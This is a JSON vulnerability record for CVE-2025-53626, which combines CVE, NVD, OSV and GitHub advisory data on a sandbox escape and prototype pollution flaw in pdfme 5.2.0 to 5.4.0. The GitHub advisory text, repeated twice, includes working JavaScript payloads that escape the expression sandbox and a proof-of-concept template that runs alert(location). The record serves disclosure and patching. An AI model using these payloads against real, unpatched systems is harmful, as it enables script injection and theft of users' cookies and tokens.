{"id":"CVE-2025-53626","aliases":["EUVD-2025-21039","GHSA-54xv-94qv-2gfg"],"status":"published","title":"pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation","description":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00329,"percentile":0.26317,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-79","CWE-94"],"published":"2025-07-10T17:43:52Z","modified":"2026-10-28T02:30:27Z","fixes":[{"ecosystem":"npm","package":"@pdfme/common","fixed_in":["5.4.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@pdfme/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.2.0"},{"fixed":"5.4.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@pdfme/common","ranges":[{"type":"SEMVER","events":[{"introduced":"5.2.0"},{"fixed":"5.4.1"}]}]}],"products":[{"vendor":"pdfme","product":"pdfme"}],"references":[{"url":"https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pdfme/pdfme/pull/1117","tags":["web"]},{"url":"https://github.com/pdfme/pdfme/releases/tag/5.4.1","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53626","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-54xv-94qv-2gfg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53626.json","tags":["advisory"]},{"url":"https://github.com/pdfme/pdfme","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-53626","title":"pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation","description":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","status":"published","published":"2025-07-10T18:49:22.602Z","modified":"2025-07-10T19:08:40.237Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-94","CWE-1321","CWE-79"],"updated_at":"2026-11-02T14:32:49.180768Z"}],"euvd":[{"id":"EUVD-2025-21039","description":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","status":"published","published":"2025-07-10T18:49:22Z","modified":"2025-07-10T19:08:40Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:32:09.615515Z"}],"ghsa":[{"id":"GHSA-54xv-94qv-2gfg","title":"@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation","description":"## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) =\u003e f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) =\u003e f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```","status":"published","published":"2025-07-10T17:43:52Z","modified":"2025-07-10T23:23:09Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79","CWE-1321"],"updated_at":"2026-11-02T14:38:49.837727Z"}],"nvd":[{"id":"CVE-2025-53626","description":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","status":"published","published":"2025-07-10T19:15:27.057Z","modified":"2026-06-17T09:38:35.84Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79","CWE-94","CWE-1321"],"updated_at":"2026-11-02T14:11:18.285862Z"}],"osv":[{"id":"CVE-2025-53626","title":"pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation","description":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","status":"published","published":"2025-07-10T18:49:22.602Z","modified":"2026-10-28T02:30:27.673420061Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321","CWE-79","CWE-94"],"updated_at":"2026-11-02T15:44:50.45326Z"},{"id":"GHSA-54xv-94qv-2gfg","title":"@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation","description":"## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) =\u003e f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) =\u003e f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```","status":"published","published":"2025-07-10T17:43:52Z","modified":"2026-09-10T03:50:25.739179246Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-1321","CWE-79"],"updated_at":"2026-11-02T15:46:37.864461Z"}]}}
